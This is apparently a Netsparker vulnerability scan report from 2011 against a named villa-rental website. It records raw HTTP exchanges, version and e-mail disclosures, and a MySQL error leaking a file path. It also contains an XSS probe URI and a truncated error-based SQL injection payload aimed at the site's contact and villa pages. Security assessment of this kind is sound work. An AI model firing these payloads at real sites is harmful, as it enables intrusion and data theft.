6);resort_array[66]=temparray;temparray = new Array(640, "Essaouira", 39);resort_array[67]=temparray;temparray = new Array(641, "Fez", 39);resort_array[68]=temparray;temparray = new Array(3, "Florida", 11);resort_array[69]=temparray;temparray = new Array(605, "French Alps", 5);resort_array[70]=temparray;temparray = new Array(92, "Fuerteventura", 13);resort_array[71]=temparray;temparray = new Array(514, "Galicia", 13);resort_array[72]=temparray;temparray = new Array(566, "Gascony", 5);resort_array[73]=temparray;temparray = new Array(635, "Gauteng", 21);resort_array[74]=temparray;temparray = new Array(5, "Gozo", 10);resort_array[75]=temparray;temparray = new Array(75, "Gran Canaria", 13);resort_array[76]=temparray;temparray = new Array(174, "Grenada", 12);resort_array[77]=temparray;temparray = new Array(610, "Gressoney", 6);resort_array[78]=temparray;temparray = new Array(619, "Hawaii", 11);resort_array[79]=temparray;temparray = new Array(556, "Herefordshire", 53);resort_array[80]=temparray;temparray = new Array(559, "Hydra", 16);resort_array[81]=temparray;temparray = new Array(620, "Ibiza North", 13);resort_array[82]=temparray;temparray = new Array(621, "Ibiza South", 13);resort_array[83]=temparray;temparray = new Array(516, "Ile de Re ", 5);resort_array[84]=temparray;temparray = new Array(611, "Ireland", 58);resort_array[85]=temparray;temparray = new Array(122, "Ithaca", 16);resort_array[86]=temparray;temparray = new Array(175, "Jamaica", 12);resort_array[87]=temparray;temparray = new Array(52, "Kalkan and Kas", 18);resort_array[88]=temparray;temparray = new Array(238, "Kea", 16);resort_array[89]=temparray;temparray = new Array(511, "Kefalonia", 16);resort_array[90]=temparray;temparray = new Array(149, "Kenya", 23);resort_array[91]=temparray;temparray = new Array(533, "Koh Phangan", 29);resort_array[92]=temparray;temparray = new Array(157, "Koh Samui", 29);resort_array[93]=temparray;temparray = new Array(598, "Koh Tao", 29);resort_array[94]=temparray;temparray = new Array(633, "Kwazulu Natal", 21);resort_array[95]=temparray;temparray = new Array(548, "Lagos", 1);resort_array[96]=temparray;temparray = new Array(510, "Lake Como", 6);resort_array[97]=temparray;temparray = new Array(303, "Lake Garda", 6);resort_array[98]=temparray;temparray = new Array(297, "Lake Maggiore", 6);resort_array[99]=temparray;temparray = new Array(547, "Lake Orta ", 6);resort_array[100]=temparray;temparray = new Array(129, "Languedoc", 5);resort_array[101]=temparray;temparray = new Array(14, "Lanzarote", 13);resort_array[102]=temparray;temparray = new Array(240, "Lazio", 6);resort_array[103]=temparray;temparray = new Array(298, "Le Marche", 6);resort_array[104]=temparray;temparray = new Array(121, "Lefkas", 16);resort_array[105]=temparray;temparray = new Array(562, "Lesvos", 16);resort_array[106]=temparray;temparray = new Array(196, "Liguria", 6);resort_array[107]=temparray;temparray = new Array(634, "Limpopo", 21);resort_array[108]=temparray;temparray = new Array(55, "Lisbon", 1);resort_array[109]=temparray;temparray = new Array(86, "Loire Valley", 5);resort_array[110]=temparray;temparray = new Array(571, "London", 53);resort_array[111]=temparray;temparray = new Array(11, "Lot and Tarn", 5);resort_array[112]=temparray;temparray = new Array(630, "Lot/Midi Pyrenees", 5);resort_array[113]=temparray;temparray = new Array(599, "Madara", 38);resort_array[114]=temparray;temparray = new Array(111, "Madeira", 1);resort_array[115]=temparray;temparray = new Array(138, "Mahe", 22);resort_array[116]=temparray;temparray = new Array(581, "Majorca North", 13);resort_array[117]=temparray;temparray = new Array(582, "Majorca South", 13);resort_array[118]=temparray;temparray = new Array(580, "Majorca West", 13);resort_array[119]=temparray;temparray = new Array(4, "Malta", 10);resort_array[120]=temparray;temparray = new Array(114, "Marbella", 13);resort_array[121]=temparray;temparray = new Array(541, "Marmaris and Area", 18);resort_array[122]=temparray;temparray = new Array(636, "Marrakech", 39);resort_array[123]=temparray;temparray = new Array(617, "Mauritius East", 20);resort_array[124]=temparray;temparray = new Array(615, "Mauritius North", 20);resort_array[125]=temparray;temparray = new Array(616, "Mauritius South", 20);resort_array[126]=temparray;temparray = new Array(618, "Mauritius West", 20);resort_array[127]=temparray;temparray = new Array(308, "Meganissi", 16);resort_array[128]=temparray;temparray = new Array(53, "Menorca", 13);resort_array[129]=temparray;temparray = new Array(574, "Monchique ", 1);resort_array[130]=temparray;temparray = new Array(569, "Mount Baker", 11);resort_array[131]=temparray;temparray = new Array(629, "Mpumalanga", 21);resort_array[132]=temparray;temparray = new Array(550, "Murcia", 13);resort_array[133]=temparray;temparray = new Array(264, "Mustique", 12);resort_array[134]=temparray;temparray = new Array(145, "Mykonos", 16);resort_array[135]=temparray;temparray = new Array(601, "Nassfeld", 43);resort_array[136]=temparray;temparray = new Array(301, "Neapolitan Riviera", 6);resort_array[137]=temparray;temparray = new Array(314, "Nevis", 12);resort_array[138]=temparray;temparray = new Array(159, "New South Wales", 30);resort_array[139]=temparray;temparray = new Array(307, "New Zealand", 32);resort_array[140]=temparray;temparray = new Array(557, "Norfolk and Suffolk", 53);resort_array[141]=temparray;temparray = new Array(299, "Normandy", 5);resort_array[142]=temparray;temparray = new Array(627, "North West", 21);resort_array[143]=temparray;temparray = new Array(578, "Northeast Thailand", 29);resort_array[144]=temparray;temparray = new Array(110, "Northern Portugal", 1);resort_array[145]=temparray;temparray = new Array(572, "Northumberland", 53);resort_array[146]=temparray;temparray = new Array(639, "Oualidia", 39);resort_array[147]=temparray;temparray = new Array(638, "Ouarzazate", 39);resort_array[148]=temparray;temparray = new Array(575, "Paris", 5);resort_array[149]=temparray;temparray = new Array(526, "Paros", 16);resort_array[150]=temparray;temparray = new Array(583, "Paxos (East)", 16);resort_array[151]=temparray;temparray = new Array(584, "Paxos (West)", 16);resort_array[152]=temparray;temparray = new Array(532, "Pelion Peninsula", 16);resort_array[153]=temparray;temparray = new Array(197, "Peloponnese", 16);resort_array[154]=temparray;temparray = new Array(568, "Phang-Nga", 29);resort_array[155]=temparray;temparray = new Array(506, "Phuket", 29);resort_array[156]=temparray;temparray = new Array(609, "Picardy", 5);resort_array[157]=temparray;temparray = new Array(43, "Portimao and Carvoeiro", 1);resort_array[158]=temparray;temparray = new Array(643, "Porto Heli ", 16);resort_array[159]=temparray;temparray = new Array(552, &quo..

- /contact.php/%22ns=%22alert(0x001851)

/contact.php/%22ns=%22alert(0x001851)

http://theholidaygroup.com/contact.php/%22ns=%22alert(0x001851)

Parameters

Parameter	Type	Value
URI-BASED	Raw URI	/"ns="alert(0x001851)

Request

GET /contact.php/%22ns=%22netsparker(0x001851) HTTP/1.1
Referer: http://theholidaygroup.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=l6iaj5i41suet2oa84b9le98s7evm3sb
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:18:49 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 14732
Content-Type: text/html

<html><head><title>Villa Holiday Contact, Villa Holidays, Luxury villa rentals, luxury holiday villas, Beach villas</title> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><script language="javascript" src="ski.js"></script><script language="JavaScript"> function echeck(str) { var at="@" var dot="." var lat=str.indexOf(at) var lstr=str.length if (str.indexOf(at)==-1) return false if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr) return false if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr) return false if (str.indexOf(at,(lat+1))!=-1) return false if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot) return false if (str.indexOf(dot,(lat+2))==-1) return false if (str.indexOf(" ")!=-1) return false return true } function checkint(strobj, upperthreshold) { if(strobj!="") { for (i=0; i<=strobj.length-1; i++) { if (strobj.charAt(i)<"0" || strobj.charAt(i)>"9") return false } if(strobj>upperthreshold) return false; } return true } function checkform(theform){ mes = ""; budget = theform.budget.value; //if(budget.substring(0,1)=="�" || budget.substring(0,1)=="$" || budget.substring(0,1)=="�") theform.budget.value = budget.substring(1,budget.length); if(!checkint(theform.children.value,25)) mes="The number of children must be a number no greater than 25 or left blank" if(!checkint(theform.adults.value,50)) mes="The number of adults must be a number no greater than 50 or left blank" //if(!checkint(theform.budget.value,50000)) mes="Please provide a valid budget no greater than �50000" if(theform.budget.value == "") mes="Please provide a budget amount"; if(theform.hometel.value=="") mes="Please provide your phone number" if(theform.name.value=="") mes="Please provide your name" if(!echeck(theform.email.value)) mes="Please provide a valid email address" if(mes!=""){ alert(mes); return false; } else if (theform.elements['resortid'].value=="%") { alert("Please select a resort"); theform.elements['resortid'].focus(); return false; } else return true; } allResortsArray = new Array(); var thisrow = 1; ResortArray = new Array(300,"Abruzzo",6); allResortsArray[thisrow]=ResortArray; var thisrow = 2; ResortArray = new Array(612,"Akyaka",18); allResortsArray[thisrow]=ResortArray; var thisrow = 3; ResortArray = new Array(288,"Alanya",18); allResortsArray[thisrow]=ResortArray; var thisrow = 4; ResortArray = new Array(519,"Albarella Island",6); allResortsArray[thisrow]=ResortArray; var thisrow = 5; ResortArray = new Array(536,"Alentejo",1); allResortsArray[thisrow]=ResortArray; var thisrow = 6; ResortArray = new Array(74,"Algarve",1); allResortsArray[thisrow]=ResortArray; var thisrow = 7; ResortArray = new Array(563,"Almeria",13); allResortsArray[thisrow]=ResortArray; var thisrow = 8; ResortArray = new Array(65,"Alonissos",16); allResortsArray[thisrow]=ResortArray; var thisrow = 9; ResortArray = new Array(493,"Alsace/ Vosges",5); allResortsArray[thisrow]=ResortArray; var thisrow = 10; ResortArray = new Array(542,"Altinkum",18); allResortsArray[thisrow]=ResortArray; var thisrow = 11; ResortArray = new Array(227,"Amalfi Coast",6); allResortsArray[thisrow]=ResortArray; var thisrow = 12; ResortArray = new Array(21,"Andalucia",13); allResortsArray[thisrow]=ResortArray; var thisrow = 13; ResortArray = new Array(265,"Anguilla",12); allResortsArray[thisrow]=ResortArray; var thisrow = 14; ResortArray = new Array(608,"Antalya",18); allResortsArray[thisrow]=ResortArray; var thisrow = 15; ResortArray = new Array(266,"Antigua",12); allResortsArray[thisrow]=ResortArray; var thisrow = 16; ResortArray = new Array(487,"Antipaxos",16); allResortsArray[thisrow]=ResortArray; var thisrow = 17; ResortArray = new Array(81,"Aquitaine",5); allResortsArray[thisrow]=ResortArray; var thisrow = 18; ResortArray = new Array(494,"Ardeche",5); allResortsArray[thisrow]=ResortArray; var thisrow = 19; ResortArray = new Array(561,"Athenian Riviera ",16); allResortsArray[thisrow]=ResortArray; var thisrow = 20; ResortArray = new Array(295,"Athens Area",16); allResortsArray[thisrow]=ResortArray; var thisrow = 21; ResortArray = new Array(567,"Auvergne",5); allResortsArray[thisrow]=ResortArray; var thisrow = 22; ResortArray = new Array(170,"Bahamas",12); allResortsArray[thisrow]=ResortArray; var thisrow = 23; ResortArray = new Array(534,"Bahrain",51); allResortsArray[thisrow]=ResortArray; var thisrow = 24; ResortArray = new Array(156,"Bali",28); allResortsArray[thisrow]=ResortArray; var thisrow = 25; ResortArray = new Array(171,"Barbados",12); allResortsArray[thisrow]=ResortArray; var thisrow = 26; ResortArray = new Array(576,"Barcelona ",13); allResortsArray[thisrow]=ResortArray; var thisrow = 27; ResortArray = new Array(304,"Basilicata",6); allResortsArray[thisrow]=ResortArray; var thisrow = 28; ResortArray = new Array(500,"Basque and Pyrenees",5); allResortsArray[thisrow]=ResortArray; var thisrow = 29; ResortArray = new Array(560,"Bath",53); allResortsArray[thisrow]=ResortArray; var thisrow = 30; ResortArray = new Array(263,"Biarritz and the Atlantic coast",5); allResortsArray[thisrow]=ResortArray; var thisrow = 31; ResortArray = new Array(47,"Bodrum",18); allResortsArray[thisrow]=ResortArray; var thisrow = 32; ResortArray = new Array(603,"Borneo",50); allResortsArray[thisrow]=ResortArray; var thisrow = 33; ResortArray = new Array(505,"Brazil",35); allResortsArray[thisrow]=ResortArray; var thisrow = 34; ResortArray = new Array(278,"British Virgin Islands",12); allResortsArray[thisrow]=ResortArray; var thisrow = 35; ResortArray = new Array(84,"Brittany",5); allResortsArray[thisrow]=ResortArray; var thisrow = 36; ResortArray = new Array(495,"Burgandy/Avergne region",5); allResortsArray[thisrow]=ResortArray; var thisrow = 37; ResortArray = new Array(642,"California",11); allResortsArray[thisrow]=ResortArray; var thisrow = 38; ResortArray = new Array(579,"Camps Bay",21); allResortsArray[thisrow]=ResortArray; var thisrow = 39; ResortArray = new Array(626,"Cape Town",21); allResortsArray[thisrow]=ResortArray; var thisrow = 40; ResortArray = new Array(551,"Capri",6); allResortsArray[thisrow]=ResortArray; var thisrow = 41; ResortArray = new Array(503,"Catalonia",13); allResortsArray[thisrow]=ResortArray; var thisrow = 42; ResortArray = new Array(625,"Chiang Mai ",29); allResortsArray[thisrow]=ResortArray; var thisrow = 43; ResortArray = new Array(592,"Corfu (East)",16); allResortsArray[thisrow]=ResortArray; var thisrow = 44; ResortArray = new Array(591,"Corfu (North)",16); allResortsArray[thisrow]=ResortArray; var thisrow = 45; ResortArray = new Array(593,"Corfu (West)",16); allResortsArray[thisrow]=ResortArray; var thisrow = 46; ResortArray = new Array(554,"Cornwall",53); allResortsArray[thisrow]=ResortArray; var thisrow = 47; ResortArray = new Array(585,"Corsica (North)",5); allResortsArray[thisrow]=ResortArray; var thisrow = 48; ResortArray = new Array(586,"Corsica (South)",5); allResortsArray[thisrow]=ResortArray; var thisrow = 49; ResortArray = new Array(16,"Costa Blanca",13); allResortsArray[thisrow]=ResortArray; var thisrow = 50; ResortArray = new Array(117,"Costa Brava",13); allResortsArray[thisrow]=ResortArray; var thisrow = 51; ResortArray = new Array(577,"Costa Calida",13); allResortsArray[thisrow]=ResortArray; var thisrow = 52; ResortArray = new Array(116,"Costa Del Azahar",13); allResortsArray[thisrow]=ResortArray; var thisrow = 53; ResortArray = new Array(73,"Costa Del Sol",13); allResortsArray[thisrow]=ResortArray; var thisrow = 54; ResortArray = new Array(520,"Costa Verde",1); allResortsArray[thisrow]=ResortArray; var thisrow = 55; ResortArray = new Array(105,"Cote d`Azur /Cannes",5); allResortsArray[thisrow]=ResortArray; var thisrow = 56; ResortArray = new Array(71,"Crete",16); allResortsArray[thisrow]=ResortArray; var thisrow = 57; ResortArray = new Array(290,"Croatia",45); allResortsArray[thisrow]=ResortArray; var thisrow = 58; ResortArray = new Array(20,"Cyprus",3); allResortsArray[thisrow]=ResortArray; var thisrow = 59; ResortArray = new Array(538,"Dalyan",18); allResortsArray[thisrow]=ResortArray; var thisrow = 60; ResortArray = new Array(614,"Datca",18); allResortsArray[thisrow]=ResortArray; var thisrow = 61; ResortArray = new Array(555,"Devon",53); allResortsArray[thisrow]=ResortArray; var thisrow = 62; ResortArray = new Array(173,"Dominican Republic",12); allResortsArray[thisrow]=ResortArray; var thisrow = 63; ResortArray = new Array(12,"Dordogne",5); allResortsArray[thisrow]=ResortArray; var thisrow = 64; ResortArray = new Array(287,"Dubai",44); allResortsArray[thisrow]=ResortArray; var thisrow = 65; ResortArray = new Array(632,"Eastern Cape",21); allResortsArray[thisrow]=ResortArray; var thisrow = 66; ResortArray = new Array(564,"Elba",6); allResortsArray[thisrow]=ResortArray; var thisrow = 67; ResortArray = new Array(640,"Essaouira",39); allResortsArray[thisrow]=ResortArray; var thisrow = 68; ResortArray = new Array(641,"Fez",39); allResortsArray[thisrow]=ResortArray; var thisrow = 69; ResortArray = new Array(3,"Florida",11); allResortsArray[thisrow]=ResortArray; var thisrow = 70; ResortArray = new Array(605,"French Alps",5); allResortsArray[thisrow]=ResortArray; var thisrow = 71; ResortArray = new Array(92,"Fuerteventura",13); allResortsArray[thisrow]=ResortArray; var thisrow = 72; ResortArray = new Array(514,"Galicia",13); allResortsArray[thisrow]=ResortArray; var thisrow = 73; ResortArray = new Array(566,"Gascony",5); allResortsArray[thisrow]=ResortArray; var thisrow = 74; ResortArray = new Array(635,"Gauteng",21); allResortsArray[thisrow]=ResortArray; var thisrow = 75; ResortArray = new Array(5,"Gozo",10); allResortsArray[thisrow]=ResortArray; var thisrow = 76; ResortArray = new Array(75,"Gran Canaria",13); allResortsArray[thisrow]=ResortArray; var thisrow = 77; ResortArray = new Array(174,"Grenada",12); allResortsArray[thisrow]=ResortArray; var thisrow = 78; ResortArray = new Array(610,"Gressoney",6); allResortsArray[thisrow]=ResortArray; var thisrow = 79; ResortArray = new Array(619,"Hawaii",11); allResortsArray[thisrow]=ResortArray; var thisrow = 80; ResortArray = new Array(556,"Herefordshire",53); allResortsArray[thisrow]=ResortArray; var thisrow = 81; ResortArray = new Array(559,"Hydra",16); allResortsArray[thisrow]=ResortArray; var thisrow = 82; ResortArray = new Array(620,"Ibiza North",13); allResortsArray[thisrow]=ResortArray; var thisrow = 83; ResortArray = new Array(621,"Ibiza South",13); allResortsArray[thisrow]=ResortArray; var thisrow = 84; ResortArray = new Array(516,"Ile de Re ",5); allResortsArray[thisrow]=ResortArray; var thisrow = 85; ResortArray = new Array(611,"Ireland",58); allResortsArray[thisrow]=ResortArray; var thisrow = 86; ResortArray = new Array(122,"Ithaca",16); allResortsArray[thisrow]=ResortArray; var thisrow = 87; ResortArray = new Array(175,"Jamaica",12); allResortsArray[thisrow]=ResortArray; var thisrow = 88; ResortArray = new Array(52,"Kalkan and Kas",18); allResortsArray[thisrow]=ResortArray; var thisrow = 89; ResortArray = new Array(238,"Kea",16); allResortsArray[thisrow]=ResortArray; var thisrow = 90; ResortArray = new Array(511,"Kefalonia",16); allResortsArray[thisrow]=ResortArray; var thisrow = 91; ResortArray = new Array(149,"Kenya",23); allResortsArray[thisrow]=ResortArray; var thisrow = 92; ResortArray = new Array(533,"Koh Phangan",29); allResortsArray[thisrow]=ResortArray; var thisrow = 93; ResortArray = new Array(157,"Koh Samui",29); allResortsArray[thisrow]=ResortArray; var thisrow = 94; ResortArray = new Array(598,"Koh Tao",29); allResortsArray[thisrow]=ResortArray; var thisrow = 95; ResortArray = new Array(633,"Kwazulu Natal",21); allResortsArray[thisrow]=ResortArray; var thisrow = 96; ResortArray = new Array(548,"Lagos",1); allResortsArray[thisrow]=ResortArray; var thisrow = 97; ResortArray = new Array(510,"Lake Como",6); allResortsArray[thisrow]=ResortArray; var thisrow = 98; ResortArray = new Array(303,"Lake Garda",6); allResortsArray[thisrow]=ResortArray; var thisrow = 99; ResortArray = new Array(297,"Lake Maggiore",6); allResortsArray[thisrow]=ResortArray; var thisrow = 100; ResortArray = new Array(547,"Lake Orta ",6); allResortsArray[thisrow]=ResortArray; var thisrow = 101; ResortArray = new Array(129,"Languedoc",5); allResortsArray[thisrow]=ResortArray; var thisrow = 102; ResortArray = new Array(14,"Lanzarote",13); allResortsArray[thisrow]=ResortArray; var thisrow = 103; ResortArray = new Array(240,"Lazio",6); allResortsArray[thisrow]=ResortArray; var thisrow = 104; ResortArray = new Array(298,"Le Marche",6); allResortsArray[thisrow]=ResortArray; var thisrow = 105; ResortArray = new Array(121,"Lefkas",16); allResortsArray[thisrow]=ResortArray; var thisrow = 106; ResortArray = new Array(562,"Lesvos",16); allResortsArray[thisrow]=ResortArray; var thisrow = 107; ResortArray = new Array(196,"Liguria",6); allResortsArray[thisrow]=ResortArray; var thisrow = 108; ResortArray = new Array(634,"Limpopo",21); allResortsArray[thisrow]=ResortArray; var thisrow = 109; ResortArray = new Array(55,"Lisbon",1); allResortsArray[thisrow]=ResortArray; var thisrow = 110; ResortArray = new Array(86,"Loire Valley",5); allResortsArray[thisrow]=ResortArray; var thisrow = 111; ResortArray = new Array(571,"London",53); allResortsArray[thisrow]=ResortArray; var thisrow = 112; ResortArray = new Array(630,"Lot/Midi Pyrenees",5); allResortsArray[thisrow]=ResortArray; var thisrow = 113; ResortArray = new Array(599,"Madara",38); allResortsArray[thisrow]=ResortArray; var thisrow = 114; ResortArray = new Array(111,"Madeira",1); allResortsArray[thisrow]=ResortArray; var thisrow = 115; ResortArray = new Array(138,"Mahe",22); allResortsArray[thisrow]=ResortArray; var thisrow = 116; ResortArray = new Array(581,"Majorca North",13); allResortsArray[thisrow]=ResortArray; var thisrow = 117; ResortArray = new Array(582,"Majorca South",13); allResortsArray[thisrow]=ResortArray; var thisrow = 118; ResortArray = new Array(580,"Majorca West",13); allResortsArray[thisrow]=ResortArray; var thisrow = 119; ResortArray = new Array(4,"Malta",10); allResortsArray[thisrow]=ResortArray; var thisrow = 120; ResortArray = new Array(114,"Marbella",13); allResortsArray[thisrow]=ResortArray; var thisrow = 121; ResortArray = new Array(541,"Marmaris and Area",18); allResortsArray[thisrow]=ResortArray; var thisrow = 122; ResortArray = new Array(636,"Marrakech",39); allResortsArray[thisrow]=ResortArray; var thisrow = 123; ResortArray = new Array(617,"Mauritius East",20); allResortsArray[thisrow]=ResortArray; var thisrow = 124; ResortArray = new Array(615,"Mauritius North",20); allResortsArray[thisrow]=ResortArray; var thisrow = 125; ResortArray = new Array(616,"Mauritius South",20); allResortsArray[thisrow]=ResortArray; var thisrow = 126; ResortArray = new Array(618,"Mauritius West",20); allResortsArray[thisrow]=ResortArray; var thisrow = 127; ResortArray = new Array(308,"Meganissi",16); allResortsArray[thisrow]=ResortArray; var thisrow = 128; ResortArray = new Array(53,"Menorca",13); allResortsArray[thisrow]=ResortArray; var thisrow = 129; ResortArray = new Array(574,"Monchique ",1); allResortsArray[thisrow]=ResortArray; var thisrow = 130; ResortArray = new Array(569,"Mount Baker",11); allResortsArray[thisrow]=ResortArray; var thisrow = 131; ResortArray = new Array(629,"Mpumalanga",21); allResortsArray[thisrow]=ResortArray; var thisrow = 132; Resort..

Apache Version Disclosure

1 TOTAL

LOW

Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.

- /getimage.php

/getimage.php

http://theholidaygroup.com/getimage.php?villaid=11360&type=mainimage

Extracted Version

Apache/2.2.4 (Linux/SUSE)

Request

GET /getimage.php?villaid=11360&type=mainimage HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/Altinkum%20villas
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=k0vp4e6r7m45sontuc5et5dtours2q8q
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:07:44 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Transfer-Encoding: chunked
Content-Type: image/jpeg

Database Error Message

1 TOTAL

LOW

Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.

- /villas.php

/villas.php

http://theholidaygroup.com/villas.php

Request

GET /villas.php HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/Altinkum%20villas
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=k0vp4e6r7m45sontuc5et5dtours2q8q
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:07:44 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 255
Content-Type: text/html

<script language="javascript"> history.go(-1); </script>Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/chroot/home/james/villas/villas.php on line 20<meta http-equiv="refresh" content="2; URL=http://theholidaygroup.com"><center><h1>This villa does not exist</h1></center>

Forbidden Resource

1 TOTAL

INFORMATION

CONFIRMED

Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.

Impact

There is no impact resulting from this issue.

- /css/

/css/ CONFIRMED

http://theholidaygroup.com/css/

Request

GET /css/ HTTP/1.1
Referer: http://theholidaygroup.com/css/villas.css
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=k0vp4e6r7m45sontuc5et5dtours2q8q
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 403 Forbidden
Date: Tue, 01 Mar 2011 19:07:48 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: accept-language,accept-charset,Accept-Encoding
Accept-Ranges: bytes
Content-Encoding:
Content-Length: 384
Content-Type: text/html; charset=iso-8859-1
Content-Language: en

Parse error: syntax error, unexpected T_STRING in /usr/share/apache2/error/include/top.html on line 7 You don't have permission to access the requested directory. There is either no index document or the directory is read-protected. </p><p>If you think this is a server error, please contactthe <a href="mailto:webmaster@theholidaygroup.com">webmaster</a>.</p><h2>Error 403</h2><address> <a href="/">theholidaygroup.com</a><br /> <span>Tue Mar 1 19:07:48 2011<br /> Apache/2.2.4 (Linux/SUSE)</span></address></body></html>

MySQL Database Identified

1 TOTAL

INFORMATION

CONFIRMED

Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.

- /more_villas.php

/more_villas.php CONFIRMED

http://theholidaygroup.com/more_villas.php?id=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(C..

Request

Response

E-mail Address Disclosure

1 TOTAL

INFORMATION

Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

Wikipedia - E-Mail Spam

- /more_villas.php

/more_villas.php

http://theholidaygroup.com/more_villas.php?id=542

Found E-mails

villa.sales@theholidaygroup.com

Request

GET /more_villas.php?id=542 HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/Altinkum%20villas
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=k0vp4e6r7m45sontuc5et5dtours2q8q
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:07:44 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8433
Content-Type: text/html

<html><head> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><title> Villas, Rentals, Rentals, Villas </title><style type="text/css">body { scrollbar-3d-light-color : #274083; scrollbar-arrow-color : #000000; scrollbar-base-color : #274083; scrollbar-dark-shadow-color : #000000; scrollbar-face-color : #274083; scrollbar-highlight-color : #c0c0c0; scrollbar-shadow-color : #000000; background-image: url("/images/gradient.jpg"); background-repeat: repeat-x;}h1 { font-family: arial; font-size: 20px; color: white;}td { font-family: arial; font-size: 15px; color: white;}input.tidy { font-size: 11px; width:120px; color: #000000; background-color: #274083; font-weight:bold; margin:0 0 10 0; display: block;}</style><SCRIPT LANGUAGE="Javascript" src="/villas.js"></script></head><body bgcolor="#000066" link="#000000" vlink="#000000" alink="#000000" topmargin="0" leftmargin="0"><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ 